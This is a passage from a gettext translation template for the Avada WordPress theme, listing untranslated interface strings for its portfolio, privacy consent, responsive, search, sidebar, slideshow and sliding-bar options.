msgstr "" #: includes/options/portfolio.php:97 msgid "" "Set the number of columns per row for portfolio archive pages. With " "Carousel layout this specifies the maximum amount of columns. " "IMPORTANT: Masonry layout does not work with 1 column." msgstr "" #: includes/options/portfolio.php:115 msgid "Portfolio Archive Column Spacing" msgstr "" #: includes/options/portfolio.php:116 msgid "Controls the column spacing for portfolio items for archive pages." msgstr "" #: includes/options/portfolio.php:134 includes/options/woocommerce.php:706 msgid "Turn on to display grid boxes with equal heights per row." msgstr "" #: includes/options/portfolio.php:149 msgid "Portfolio Archive Content Position" msgstr "" #: includes/options/portfolio.php:150 msgid "" "Select if title, terms and excerpts should be displayed below or next to " "the featured images." msgstr "" #: includes/options/portfolio.php:155 msgid "Below image" msgstr "" #: includes/options/portfolio.php:156 msgid "Next to Image" msgstr "" #: includes/options/portfolio.php:179 msgid "Number of Portfolio Items Per Archive Page" msgstr "" #: includes/options/portfolio.php:180 msgid "" "Controls the number of posts that display per page for portfolio archive " "pages. Set to -1 to display all. Set to 0 to use the number of posts from " "Settings > Reading." msgstr "" #: includes/options/portfolio.php:198 msgid "Portfolio Archive Text Layout" msgstr "" #: includes/options/portfolio.php:199 msgid "" "Controls if the portfolio text content is displayed boxed or unboxed or is " "completely disabled for portfolio archive pages." msgstr "" #: includes/options/portfolio.php:206 msgid "Unboxed" msgstr "" #: includes/options/portfolio.php:236 msgid "Portfolio Archive Text Display" msgstr "" #: includes/options/portfolio.php:237 msgid "Choose how to display the post excerpt for portfolio archive pages." msgstr "" #: includes/options/portfolio.php:262 msgid "Portfolio Archive Excerpt Length" msgstr "" #: includes/options/portfolio.php:263 msgid "Controls the number of %s in the excerpts on portfolio archive pages." msgstr "" #: includes/options/portfolio.php:283 msgid "Turn on to strip HTML content from the excerpt for portfolio archive pages." msgstr "" #: includes/options/portfolio.php:296 msgid "Portfolio Archive Title Display" msgstr "" #: includes/options/portfolio.php:297 msgid "" "Controls what displays with the portfolio post title for portfolio archive " "pages." msgstr "" #: includes/options/portfolio.php:302 msgid "Title and Categories" msgstr "" #: includes/options/portfolio.php:303 msgid "Only Title" msgstr "" #: includes/options/portfolio.php:304 msgid "Only Categories" msgstr "" #: includes/options/portfolio.php:316 msgid "Portfolio Archive Text Alignment" msgstr "" #: includes/options/portfolio.php:317 msgid "" "Controls the alignment of the portfolio title, categories and excerpt text " "when using the Portfolio Text layouts in portfolio archive pages." msgstr "" #: includes/options/portfolio.php:334 msgid "Portfolio Archive Text Layout Padding" msgstr "" #: includes/options/portfolio.php:335 msgid "" "Controls the padding for the portfolio text layout when using boxed mode in " "portfolio archive pages." msgstr "" #: includes/options/portfolio.php:375 msgid "Portfolio Archive Pagination Type" msgstr "" #: includes/options/portfolio.php:376 msgid "Controls the pagination type for portfolio archive pages." msgstr "" #: includes/options/portfolio.php:395 msgid "" "Controls the background color of the load more button for ajax post loading " "for portfolio archives." msgstr "" #: includes/options/portfolio.php:416 msgid "" "Controls the text color of the load more button for ajax post loading for " "portfolio archives." msgstr "" #: includes/options/portfolio.php:437 msgid "" "Controls the hover background color of the load more button for ajax post " "loading for portfolio archives." msgstr "" #: includes/options/portfolio.php:458 msgid "" "Controls the hover text color of the load more button for ajax post loading " "for portfolio archives." msgstr "" #: includes/options/portfolio.php:478 msgid "Portfolio Slug" msgstr "" #: includes/options/portfolio.php:485 msgid "Portfolio Include Permalink Front Base" msgstr "" #: includes/options/portfolio.php:509 msgid "Portfolio Single Post" msgstr "" #: includes/options/portfolio.php:541 msgid "" "Turn on to display the previous/next post pagination for single portfolio " "posts." msgstr "" #: includes/options/portfolio.php:556 msgid "" "Turn on to display portfolio posts at 100% browser width according to the " "window size. Turn off to follow site width." msgstr "" #: includes/options/portfolio.php:570 msgid "Featured Image Column Size" msgstr "" #: includes/options/portfolio.php:571 msgid "" "Controls if the featured image is half or full width on single portfolio " "posts." msgstr "" #: includes/options/portfolio.php:596 msgid "Featured Image / Video on Single Post Page" msgstr "" #: includes/options/portfolio.php:597 msgid "Turn on to display featured images and videos on single portfolio posts." msgstr "" #: includes/options/portfolio.php:611 msgid "First Featured Image" msgstr "" #: includes/options/portfolio.php:612 msgid "Turn on to display the 1st featured image on single portfolio posts." msgstr "" #: includes/options/portfolio.php:634 msgid "Project Description Title" msgstr "" #: includes/options/portfolio.php:635 msgid "Turn on to show the project description title on single portfolio posts." msgstr "" #: includes/options/portfolio.php:650 msgid "" "Turn on to show the project details title and content on single portfolio " "posts." msgstr "" #: includes/options/portfolio.php:665 msgid "" "Turn on to open the single post page, project url and copyright url links " "in a new window." msgstr "" #: includes/options/portfolio.php:675 msgid "Turn on to display the author name on single portfolio posts." msgstr "" #: includes/options/portfolio.php:690 msgid "Turn on to display the social sharing box on single portfolio posts." msgstr "" #: includes/options/portfolio.php:705 msgid "Turn on to display related projects on single portfolio posts." msgstr "" #: includes/options/portfolio.php:720 msgid "Turn on to display comments on single portfolio posts." msgstr "" #: includes/options/privacy.php:40 msgid "" "IMPORTANT NOTE: The options in this section will help to " "easier comply with data privacy regulations, like the European GDPR. When " "the \"Privacy Consent\" option is used, Avada will create a cookie with the " "name \"privacy_embeds\" on user clients browsing your site to manage " "and store user consent to load the different third party embeds and " "tracking scripts. You may want to add information about this cookie to your " "privacy page." msgstr "" #: includes/options/privacy.php:46 msgid "Google & Font Awesome Fonts Mode" msgstr "" #: includes/options/privacy.php:47 msgid "" "When set to \"Local\", the Google and Font Awesome fonts set in Global " "Options will be downloaded to your server. Set to \"CDN\" to use the Google " "and FontAwesome CDNs." msgstr "" #: includes/options/privacy.php:51 msgid "Local" msgstr "" #: includes/options/privacy.php:52 msgid "CDN" msgstr "" #: includes/options/privacy.php:58 msgid "Privacy Consent" msgstr "" #: includes/options/privacy.php:59 msgid "" "Turn on to prevent embeds and scripts from loading until user consent is " "given." msgstr "" #: includes/options/privacy.php:67 msgid "Privacy Consent Cookie Expiration" msgstr "" #: includes/options/privacy.php:68 msgid "Controls how long the consent cookie should be stored for. In days." msgstr "" #: includes/options/privacy.php:88 msgid "Privacy Consent Types" msgstr "" #: includes/options/privacy.php:89 msgid "Select the types of embeds which you would like to require consent." msgstr "" #: includes/options/privacy.php:106 msgid "Privacy Selected Consent Types" msgstr "" #: includes/options/privacy.php:107 msgid "" "Select the types of embeds which you would like to have checked by default. " " This applies to both the privacy bar and the privacy element." msgstr "" #: includes/options/privacy.php:124 msgid "Privacy Placeholder Background Color" msgstr "" #: includes/options/privacy.php:125 msgid "Controls the background color for the privacy placeholders." msgstr "" #: includes/options/privacy.php:144 msgid "Privacy Placeholder Text Color" msgstr "" #: includes/options/privacy.php:145 msgid "Controls the text color for the embed placeholders." msgstr "" #: includes/options/privacy.php:164 msgid "Privacy Bar" msgstr "" #: includes/options/privacy.php:165 msgid "Turn on to enable a privacy bar at the bottom of the page." msgstr "" #: includes/options/privacy.php:171 msgid "Privacy Bar Padding" msgstr "" #: includes/options/privacy.php:172 msgid "Controls the top/right/bottom/left paddings of the privacy bar area." msgstr "" #: includes/options/privacy.php:214 msgid "Privacy Bar Background Color" msgstr "" #: includes/options/privacy.php:215 msgid "Controls the background color for the privacy bar." msgstr "" #: includes/options/privacy.php:234 msgid "Privacy Bar Font Size" msgstr "" #: includes/options/privacy.php:235 msgid "Controls the font size for the privacy bar content." msgstr "" #: includes/options/privacy.php:256 msgid "Privacy Bar Text Color" msgstr "" #: includes/options/privacy.php:257 msgid "Controls the text color for the privacy bar content." msgstr "" #: includes/options/privacy.php:276 msgid "Privacy Bar Link Color" msgstr "" #: includes/options/privacy.php:277 msgid "Controls the link color for the privacy bar." msgstr "" #: includes/options/privacy.php:296 msgid "Privacy Bar Link Hover Color" msgstr "" #: includes/options/privacy.php:297 msgid "Controls the link hover color for the privacy bar." msgstr "" #: includes/options/privacy.php:316 msgid "Privacy Bar Text" msgstr "" #: includes/options/privacy.php:317 msgid "Enter the text which you want to appear on the privacy bar." msgstr "" #: includes/options/privacy.php:319 msgid "This website uses cookies and third party services." msgstr "" #: includes/options/privacy.php:339 msgid "Privacy Bar Button Text" msgstr "" #: includes/options/privacy.php:340 msgid "Controls the button text for the privacy bar acceptance." msgstr "" #: includes/options/privacy.php:342 msgid "OK" msgstr "" #: includes/options/privacy.php:362 msgid "Privacy Bar Button Save On Click" msgstr "" #: includes/options/privacy.php:363 msgid "" "If enabled, when the button is clicked it will save the default consent " "selection. If disabled the button will only save the preferences after a " "checkbox has been changed (bar will be hidden however)." msgstr "" #: includes/options/privacy.php:397 msgid "Privacy Bar Settings" msgstr "" #: includes/options/privacy.php:398 msgid "" "If enabled, a settings section will be added to show more information and " "to provide checkboxes for tracking and third party embeds." msgstr "" #: includes/options/privacy.php:420 msgid "Privacy Bar Settings Text" msgstr "" #: includes/options/privacy.php:421 msgid "Controls the link text for the privacy bar settings." msgstr "" #: includes/options/privacy.php:448 msgid "Privacy Bar Update Button Text" msgstr "" #: includes/options/privacy.php:449 msgid "Controls the button text for the privacy bar after a checkbox has changed." msgstr "" #: includes/options/privacy.php:451 msgid "Update Settings" msgstr "" #: includes/options/privacy.php:481 msgid "Privacy Bar Heading Font Size" msgstr "" #: includes/options/privacy.php:482 msgid "Controls the font size for the privacy bar heading text." msgstr "" #: includes/options/privacy.php:503 msgid "Privacy Bar Headings Color" msgstr "" #: includes/options/privacy.php:504 msgid "Controls the text color of the privacy bar heading font." msgstr "" #: includes/options/privacy.php:528 msgid "Privacy Bar Content" msgstr "" #: includes/options/privacy.php:529 msgid "" "The privacy bar content uses a repeater field to select the content for " "each column. Click the \"Add\" button to add additional columns." msgstr "" #: includes/options/privacy.php:539 msgid "Select the type of cookie/content to display." msgstr "" #: includes/options/privacy.php:550 msgid "Title for the content" msgstr "" #: includes/options/privacy.php:556 msgid "Description for the content" msgstr "" #: includes/options/privacy.php:574 msgid "Privacy Bar Reject Button" msgstr "" #: includes/options/privacy.php:575 msgid "" "If enabled, the privacy bar will be extended with a button that allows " "users to reject all." msgstr "" #: includes/options/privacy.php:602 msgid "Privacy Bar Reject Button Text" msgstr "" #: includes/options/privacy.php:603 msgid "Controls the link text for the privacy bar reject button." msgstr "" #: includes/options/privacy.php:605 msgid "Reject" msgstr "" #: includes/options/responsive.php:37 msgid "Responsive Design" msgstr "" #: includes/options/responsive.php:38 msgid "" "Turn on to use the responsive design features. If set to off, the fixed " "layout is used." msgstr "" #: includes/options/responsive.php:48 msgid "Grid Responsive Breakpoint" msgstr "" #: includes/options/responsive.php:49 msgid "" "Controls when grid layouts (blog/portfolio) start to break into smaller " "columns. Further breakpoints are auto calculated." msgstr "" #: includes/options/responsive.php:89 msgid "Header Responsive Breakpoint" msgstr "" #: includes/options/responsive.php:90 msgid "Controls when the desktop header changes to the mobile header." msgstr "" #: includes/options/responsive.php:130 msgid "Site Content Responsive Breakpoint" msgstr "" #: includes/options/responsive.php:131 msgid "" "Controls when the site content area changes to the mobile layout. This " "includes all content below the header including the footer." msgstr "" #: includes/options/responsive.php:171 msgid "Sidebar Responsive Breakpoint" msgstr "" #: includes/options/responsive.php:172 msgid "Controls when sidebars change to the mobile layout." msgstr "" #: includes/options/responsive.php:207 msgid "Mobile Device Zoom" msgstr "" #: includes/options/responsive.php:208 msgid "Turn on to enable pinch to zoom on mobile devices." msgstr "" #: includes/options/responsive.php:227 msgid "Element Responsive Breakpoints" msgstr "" #: includes/options/responsive.php:235 msgid "Controls when the small screen options and visibility should take effect." msgstr "" #: includes/options/responsive.php:264 msgid "Controls when the medium screen options and visibility should take effect." msgstr "" #: includes/options/responsive.php:293 msgid "" "Any screen larger than that which is defined as the medium screen will be " "counted as a large screen." msgstr "" #: includes/options/responsive.php:301 msgid "Responsive Typography" msgstr "" #: includes/options/responsive.php:308 msgid "Responsive Typography Sensitivity" msgstr "" #: includes/options/responsive.php:309 msgid "" "Set to 0 to disable responsive typography. Increase the value for a greater " "effect." msgstr "" #: includes/options/responsive.php:348 msgid "Minimum Font Size Factor" msgstr "" #: includes/options/responsive.php:349 msgid "" "The minimum font-size of elements affected by responsive typography is body " "font-size multiplied by this factor." msgstr "" #: includes/options/search.php:45 msgid "Search Form" msgstr "" #: includes/options/search.php:52 msgid "Limit Search Results Post Types" msgstr "" #: includes/options/search.php:53 msgid "Turn on to limit the search results to specific post types you can choose." msgstr "" #: includes/options/search.php:66 msgid "Search Results Content" msgstr "" #: includes/options/search.php:67 msgid "Controls the type of content that displays in search results." msgstr "" #: includes/options/search.php:89 msgid "Limit Search to Post Titles" msgstr "" #: includes/options/search.php:90 msgid "Turn on to limit the search to post titles only." msgstr "" #: includes/options/search.php:103 msgid "Search for WooCommerce Product SKUs" msgstr "" #: includes/options/search.php:104 msgid "" "Turn on to also search for WooCommerce product SKUs. This will only work, " "if products have been added to the search results content." msgstr "" #: includes/options/search.php:117 msgid "Search Form Design" msgstr "" #: includes/options/search.php:118 msgid "Controls the design of the search forms." msgstr "" #: includes/options/search.php:138 msgid "Enable Live Search" msgstr "" #: includes/options/search.php:139 msgid "" "Turn on to enable live search results on menu search field and other " "fitting search forms." msgstr "" #: includes/options/search.php:168 msgid "Live Search Minimal Character Count" msgstr "" #: includes/options/search.php:169 msgid "Set the minimal character count to trigger the live search." msgstr "" #: includes/options/search.php:204 msgid "Live Search Number of Posts" msgstr "" #: includes/options/search.php:205 msgid "" "Controls the number of posts that should be displayed as search result " "suggestions." msgstr "" #: includes/options/search.php:233 msgid "Live Search Results Container Height" msgstr "" #: includes/options/search.php:234 msgid "" "Controls the height of the container in which the search results will be " "listed." msgstr "" #: includes/options/search.php:252 msgid "Live Search Display Featured Image" msgstr "" #: includes/options/search.php:253 msgid "Turn on to display the featured image of each live search result." msgstr "" #: includes/options/search.php:276 msgid "Live Search Display Post Type" msgstr "" #: includes/options/search.php:277 msgid "Turn on to display the post type of each live search result." msgstr "" #: includes/options/search.php:337 msgid "Search Results Layout" msgstr "" #: includes/options/search.php:338 msgid "Controls the layout for the search results page." msgstr "" #: includes/options/search.php:360 msgid "Number of Search Results Per Page" msgstr "" #: includes/options/search.php:361 msgid "Controls the number of search results per page." msgstr "" #: includes/options/search.php:380 msgid "Search Pagination Type" msgstr "" #: includes/options/search.php:381 msgid "Controls the pagination type for the search results page." msgstr "" #: includes/options/search.php:401 msgid "Controls the number of columns for grid layouts." msgstr "" #: includes/options/search.php:434 msgid "Controls the column spacing for search results." msgstr "" #: includes/options/search.php:467 msgid "Search Content Display" msgstr "" #: includes/options/search.php:468 msgid "" "Controls if the search results content displays as an excerpt or full " "content or is completely disabled." msgstr "" #: includes/options/search.php:487 msgid "Search Excerpt Length" msgstr "" #: includes/options/search.php:488 msgid "Controls the number of %s in the excerpts on search results." msgstr "" #: includes/options/search.php:514 msgid "Search Strip HTML from Excerpt" msgstr "" #: includes/options/search.php:515 msgid "Turn on to strip HTML content from the excerpt for the search results page." msgstr "" #: includes/options/search.php:536 msgid "Featured Images for Search Results" msgstr "" #: includes/options/search.php:537 msgid "Turn on to display featured images for search results." msgstr "" #: includes/options/search.php:551 msgid "Search Results Meta" msgstr "" #: includes/options/search.php:552 msgid "" "Select the post meta data you want to be displayed in the individual search " "results." msgstr "" #: includes/options/search.php:560 templates/wc-catalog-ordering.php:48 #: templates/wc-catalog-ordering.php:105 msgid "Date" msgstr "" #: includes/options/search.php:564 msgid "Read More Link" msgstr "" #: includes/options/search.php:565 msgid "Post Type" msgstr "" #: includes/options/search.php:576 msgid "Search Field Position" msgstr "" #: includes/options/search.php:577 msgid "Controls the position of the search bar on the search results page." msgstr "" #: includes/options/search.php:583 msgid "Above Results" msgstr "" #: includes/options/search.php:584 msgid "Below Results" msgstr "" #: includes/options/shortcode_styling.php:39 #. translators: URL. msgid "" "IMPORTANT NOTE: Avada Builder Elements settigns are moved " "to Avada Builder Elements options panel here." msgstr "" #: includes/options/sidebars.php:72 msgid "Sidebar Styling" msgstr "" #: includes/options/sidebars.php:79 msgid "Sidebar Responsive Order" msgstr "" #: includes/options/sidebars.php:80 msgid "" "Choose the order of sidebars and main content area on mobile layouts " "through drag & drop sorting." msgstr "" #: includes/options/sidebars.php:99 msgid "" "Select the sidebar(s) that should remain sticky when scrolling the page. If " "the sidebar content is taller than the screen, it acts like a normal " "sidebar until the bottom of the sidebar is within the viewport, which will " "then remain fixed in place as you scroll down." msgstr "" #: includes/options/sidebars.php:112 msgid "Sidebar Padding" msgstr "" #: includes/options/sidebars.php:113 msgid "Controls the sidebar padding." msgstr "" #: includes/options/sidebars.php:132 msgid "Controls the background color of the sidebar." msgstr "" #: includes/options/sidebars.php:144 msgid "Sidebar Widget Heading Background Color" msgstr "" #: includes/options/sidebars.php:145 msgid "" "Controls the background color of the widget title box. If left transparent " "the widget title will be unboxed." msgstr "" #: includes/options/sidebars.php:169 msgid "Sidebar Widget Heading Font Size" msgstr "" #: includes/options/sidebars.php:170 msgid "Controls the font size of the widget heading text." msgstr "" #: includes/options/sidebars.php:182 msgid "Sidebar Widget Headings Color" msgstr "" #: includes/options/sidebars.php:183 msgid "Controls the color of the sidebar widget heading text." msgstr "" #: includes/options/sidebars.php:204 msgid "Global Page Sidebar 1" msgstr "" #: includes/options/sidebars.php:205 msgid "Select sidebar 1 that will display on all pages." msgstr "" #: includes/options/sidebars.php:213 msgid "Global Page Sidebar 2" msgstr "" #: includes/options/sidebars.php:214 msgid "" "Select sidebar 2 that will display on all pages. Sidebar 2 can only be used " "if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:222 msgid "Force Global Sidebars For Pages" msgstr "" #: includes/options/sidebars.php:223 msgid "" "Turn on if you want to use the same sidebars on all pages. This option " "overrides the page options." msgstr "" #: includes/options/sidebars.php:230 msgid "Global Page Sidebar Position" msgstr "" #: includes/options/sidebars.php:231 msgid "" "Controls the position of sidebar 1 for all pages. If sidebar 2 is selected, " "it will display on the opposite side." msgstr "" #: includes/options/sidebars.php:244 msgid "Portfolio Posts" msgstr "" #: includes/options/sidebars.php:251 msgid "Global Portfolio Post Sidebar 1" msgstr "" #: includes/options/sidebars.php:252 msgid "Select sidebar 1 that will display on all portfolio posts." msgstr "" #: includes/options/sidebars.php:260 msgid "Global Portfolio Post Sidebar 2" msgstr "" #: includes/options/sidebars.php:261 msgid "" "Select sidebar 2 that will display on all portfolio posts. Sidebar 2 can " "only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:269 msgid "Force Global Sidebars For Portfolio Posts" msgstr "" #: includes/options/sidebars.php:270 msgid "" "Turn on if you want to use the same sidebars on all portfolio posts. This " "option overrides the portfolio post options." msgstr "" #: includes/options/sidebars.php:277 msgid "Global Portfolio Sidebar Position" msgstr "" #: includes/options/sidebars.php:278 msgid "" "Controls the position of sidebar 1 for all portfolio posts and archive " "pages. If sidebar 2 is selected, it will display on the opposite side." msgstr "" #: includes/options/sidebars.php:300 #. translators: "Portfolio Posts sidebar" link. msgid "" "IMPORTANT NOTE: The sidebar position for portfolio archive " "pages is controlled by the option on the %s tab." msgstr "" #: includes/options/sidebars.php:300 msgid "Portfolio Posts sidebar" msgstr "" #: includes/options/sidebars.php:305 msgid "Portfolio Archive Sidebar 1" msgstr "" #: includes/options/sidebars.php:306 msgid "Select sidebar 1 that will display on the portfolio archive pages." msgstr "" #: includes/options/sidebars.php:314 msgid "Portfolio Archive Sidebar 2" msgstr "" #: includes/options/sidebars.php:315 msgid "" "Select sidebar 2 that will display on the portfolio archive pages. Sidebar " "2 can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:325 msgid "Blog Posts" msgstr "" #: includes/options/sidebars.php:332 msgid "Global Blog Post Sidebar 1" msgstr "" #: includes/options/sidebars.php:333 msgid "Select sidebar 1 that will display on all blog posts." msgstr "" #: includes/options/sidebars.php:342 includes/options/sidebars.php:376 msgid "Edit Global Sidebar Options" msgstr "" #: includes/options/sidebars.php:350 includes/options/sidebars.php:382 msgid "Edit Sidebar Options" msgstr "" #: includes/options/sidebars.php:357 includes/options/sidebars.php:388 msgid "Edit Sidebar Widgets" msgstr "" #: includes/options/sidebars.php:366 msgid "Global Blog Post Sidebar 2" msgstr "" #: includes/options/sidebars.php:367 msgid "" "Select sidebar 2 that will display on all blog posts. Sidebar 2 can only be " "used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:395 msgid "Force Global Sidebars For Blog Posts" msgstr "" #: includes/options/sidebars.php:396 msgid "" "Turn on if you want to use the same sidebars on all blog posts. This option " "overrides the blog post options." msgstr "" #: includes/options/sidebars.php:402 msgid "Global Blog Sidebar Position" msgstr "" #: includes/options/sidebars.php:403 msgid "" "Controls the position of sidebar 1 for all blog posts and archive pages. If " "sidebar 2 is selected, it will display on the opposite side." msgstr "" #: includes/options/sidebars.php:424 #. translators: "Blog Posts sidebar" link. msgid "" "IMPORTANT NOTE: The sidebar position for blog archive " "pages is controlled by the option on the %s tab." msgstr "" #: includes/options/sidebars.php:424 msgid "Blog Posts sidebar" msgstr "" #: includes/options/sidebars.php:429 msgid "Blog Archive Sidebar 1" msgstr "" #: includes/options/sidebars.php:430 msgid "Select sidebar 1 that will display on the blog archive pages." msgstr "" #: includes/options/sidebars.php:438 msgid "Blog Archive Sidebar 2" msgstr "" #: includes/options/sidebars.php:439 msgid "" "Select sidebar 2 that will display on the blog archive pages. Sidebar 2 can " "only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:456 msgid "Search Page Sidebar 1" msgstr "" #: includes/options/sidebars.php:457 msgid "Select sidebar 1 that will display on the search results page." msgstr "" #: includes/options/sidebars.php:465 msgid "Search Page Sidebar 2" msgstr "" #: includes/options/sidebars.php:466 msgid "" "Select sidebar 2 that will display on the search results page. Sidebar 2 " "can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:474 msgid "Search Sidebar Position" msgstr "" #: includes/options/sidebars.php:475 msgid "" "Controls the position of sidebar 1 for the search results page. If sidebar " "2 is selected, it will display on the opposite side." msgstr "" #: includes/options/sidebars.php:494 msgid "Global WooCommerce Product Sidebar 1" msgstr "" #: includes/options/sidebars.php:495 msgid "Select sidebar 1 that will display on all WooCommerce products." msgstr "" #: includes/options/sidebars.php:503 msgid "Global WooCommerce Product Sidebar 2" msgstr "" #: includes/options/sidebars.php:504 msgid "" "Select sidebar 2 that will display on all WooCommerce products. Sidebar 2 " "can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:512 msgid "Force Global Sidebars For WooCommerce Products" msgstr "" #: includes/options/sidebars.php:513 msgid "" "Turn on if you want to use the same sidebars on all WooCommerce products. " "This option overrides the WooCommerce post options." msgstr "" #: includes/options/sidebars.php:520 msgid "Global WooCommerce Sidebar Position" msgstr "" #: includes/options/sidebars.php:521 msgid "" "Controls the position of sidebar 1 for all WooCommerce products and archive " "pages. If sidebar 2 is selected, it will display on the opposite side." msgstr "" #: includes/options/sidebars.php:534 msgid "WooCommerce Archive" msgstr "" #: includes/options/sidebars.php:543 #. translators: "WooCommerce Products sidebar" link. msgid "" "IMPORTANT NOTE: The sidebar position for WooCommerce " "archive pages is controlled by the option on the %s tab." msgstr "" #: includes/options/sidebars.php:543 msgid "WooCommerce Products sidebar" msgstr "" #: includes/options/sidebars.php:548 msgid "WooCommerce Archive Sidebar 1" msgstr "" #: includes/options/sidebars.php:549 msgid "Select sidebar 1 that will display on the WooCommerce archive pages." msgstr "" #: includes/options/sidebars.php:557 msgid "WooCommerce Archive Sidebar 2" msgstr "" #: includes/options/sidebars.php:558 msgid "" "Select sidebar 2 that will display on the WooCommerce archive pages. " "Sidebar 2 can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:573 msgid "Global Events Calendar Sidebar 1" msgstr "" #: includes/options/sidebars.php:574 msgid "" "Select sidebar 1 that will display on all Events Calendar posts and " "archives pages." msgstr "" #: includes/options/sidebars.php:582 msgid "Global Events Calendar Sidebar 2" msgstr "" #: includes/options/sidebars.php:583 msgid "" "Select sidebar 2 that will display on all all Events Calendar posts and " "archive pages. Sidebar 2 can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:591 msgid "Force Global Sidebars For Events Calendar Posts" msgstr "" #: includes/options/sidebars.php:592 msgid "" "Turn on if you want to use the same sidebars on all Events Calendar posts. " "This option overrides the Events Calendar post options." msgstr "" #: includes/options/sidebars.php:599 msgid "Global Events Calendar Sidebar Position " msgstr "" #: includes/options/sidebars.php:600 msgid "" "Controls the position of sidebar 1 for all Events Calendar posts and " "archive pages. If sidebar 2 is selected, it will display on the opposite " "side." msgstr "" #: includes/options/sidebars.php:613 msgid "bbPress/BuddyPress" msgstr "" #: includes/options/sidebars.php:620 msgid "Global bbPress/BuddyPress Sidebar 1" msgstr "" #: includes/options/sidebars.php:621 msgid "Select sidebar 1 that will display on all bbPress/BuddyPress pages." msgstr "" #: includes/options/sidebars.php:629 msgid "Global bbPress/BuddyPress Sidebar 2" msgstr "" #: includes/options/sidebars.php:630 msgid "" "Select sidebar 2 that will display on all bbPress/BuddyPress pages. Sidebar " "2 can only be used if sidebar 1 is selected." msgstr "" #: includes/options/sidebars.php:638 msgid "Force Global Sidebars For bbPress/BuddyPress" msgstr "" #: includes/options/sidebars.php:639 msgid "" "Turn on if you want to use the same sidebars on all bbPress/BuddyPress " "pages. Forums index page, profile page and search page does not need this " "option checked to display the sidebars selected below." msgstr "" #: includes/options/sidebars.php:646 msgid "Global bbPress/BuddyPress Sidebar Position" msgstr "" #: includes/options/sidebars.php:647 msgid "" "Controls the position of sidebar 1 for all bbPress/BuddyPress pages. If " "sidebar 2 is selected, it will display on the opposite side." msgstr "" #: includes/options/slideshows.php:27 msgid "Slideshows" msgstr "" #: includes/options/slideshows.php:34 msgid "Posts Slideshow Images" msgstr "" #: includes/options/slideshows.php:35 msgid "Controls the number of featured image boxes for blog/portfolio posts." msgstr "" #: includes/options/slideshows.php:47 msgid "Turn on to autoplay the slideshows." msgstr "" #: includes/options/slideshows.php:55 msgid "Smooth Height" msgstr "" #: includes/options/slideshows.php:56 msgid "" "Turn on to enable smooth height on slideshows when using images with " "different heights. Please note, smooth height is disabled on blog grid " "layout." msgstr "" #: includes/options/slideshows.php:63 msgid "" "Controls the speed of slideshows for the slider element and sliders within " "posts. ex: 1000 = 1 second." msgstr "" #: includes/options/slideshows.php:91 msgid "Pagination Circles Below Video Slides" msgstr "" #: includes/options/slideshows.php:92 msgid "" "Turn on to show pagination circles below a video slide for the slider " "element. Turn off to hide them on video slides." msgstr "" #: includes/options/slideshows.php:115 msgid "Navigation Box Dimensions" msgstr "" #: includes/options/slideshows.php:116 msgid "Controls the width and height of the navigation box." msgstr "" #: includes/options/slideshows.php:136 msgid "Navigation Arrow Size" msgstr "" #: includes/options/slideshows.php:137 msgid "Controls the font size of the navigation arrow." msgstr "" #: includes/options/sliding_bar.php:38 #. translators: %1$s: Off Canvas page URL. msgid "" "IMPORTANT NOTE: For more flexibility and a modern, more " "performant Sliding Bar setup, we recommend using the Avada Off Canvas " "Builder. To create an Off Canvas, visit " "this page." msgstr "" #: includes/options/sliding_bar.php:44 msgid "Sliding Bar on Desktops" msgstr "" #: includes/options/sliding_bar.php:45 msgid "Turn on to display the sliding bar on desktops." msgstr "" #: includes/options/sliding_bar.php:53 msgid "Edit Sliding Bar" msgstr "" #: includes/options/sliding_bar.php:57 msgid "Edit Sliding Bar Widgets" msgstr "" #: includes/options/sliding_bar.php:93 msgid "Sliding Bar On Mobile" msgstr "" #: includes/options/sliding_bar.php:94 msgid "" "Turn on to display the sliding bar on mobiles. IMPORTANT: " "Due to mobile screen sizes and overlapping issues, when this option is " "enabled the triangle toggle style in the top right position will be forced " "for square and circle desktop styles." msgstr "" #: includes/options/sliding_bar.php:123 msgid "Sliding Bar Open On Page Load" msgstr "" #: includes/options/sliding_bar.php:124 msgid "Turn on to have the sliding bar open when the page loads." msgstr "" #: includes/options/sliding_bar.php:139 msgid "Sliding Bar Position" msgstr "" #: includes/options/sliding_bar.php:140 msgid "" "Controls the position of the sliding bar to be in the top, right, bottom or " "left of the site." msgstr "" #: includes/options/sliding_bar.php:176 msgid "Sliding Bar Width" msgstr "" #: includes/options/sliding_bar.php:177 msgid "Controls the width of the sliding bar on left/right layouts." msgstr "" #: includes/options/sliding_bar.php:224 msgid "Sticky Sliding Bar" msgstr "" #: includes/options/sliding_bar.php:225 msgid "Turn on to enable a sticky sliding bar." msgstr "" #: includes/options/sliding_bar.php:276 msgid "Number of Sliding Bar Columns" msgstr "" #: includes/options/sliding_bar.php:277 msgid "Controls the number of columns in the sliding bar." msgstr "" #: includes/options/sliding_bar.php:302 msgid "Sliding Bar Column Alignment" msgstr "" #: includes/options/sliding_bar.php:303 msgid "" "Allows your sliding bar columns to be stacked (one above the other) or " "floated (side by side) when using the left or right position." msgstr "" #: includes/options/sliding_bar.php:308 msgid "Stacked" msgstr "" #: includes/options/sliding_bar.php:309 msgid "Floated" msgstr "" #: includes/options/sliding_bar.php:337 msgid "Sliding Bar Content Padding" msgstr "" #: includes/options/sliding_bar.php:338 msgid "Controls the top/right/bottom/left paddings of the sliding bar area." msgstr "" #: includes/options/sliding_bar.php:380 msgid "Sliding Bar Content Alignment" msgstr "" #: includes/options/sliding_bar.php:381 msgid "Controls sliding bar content alignment." msgstr "" #: includes/options/sliding_bar.php:405 msgid "Sliding Bar Styling" msgstr "" #: includes/options/sliding_bar.php:418 msgid "Sliding Bar Toggle Style" msgstr "" #: includes/options/sliding_bar.php:419 msgid "Controls the appearance of the sliding bar toggle." msgstr "" #: includes/options/sliding_bar.php:424 msgid "Triangle" msgstr "" #: includes/options/sliding_bar.php:425 includes/options/woocommerce.php:899 #: includes/options/woocommerce.php:1121 msgid "Rectangle" msgstr "" #: includes/options/sliding_bar.php:427 msgid "Main Menu Icon" msgstr "" #: 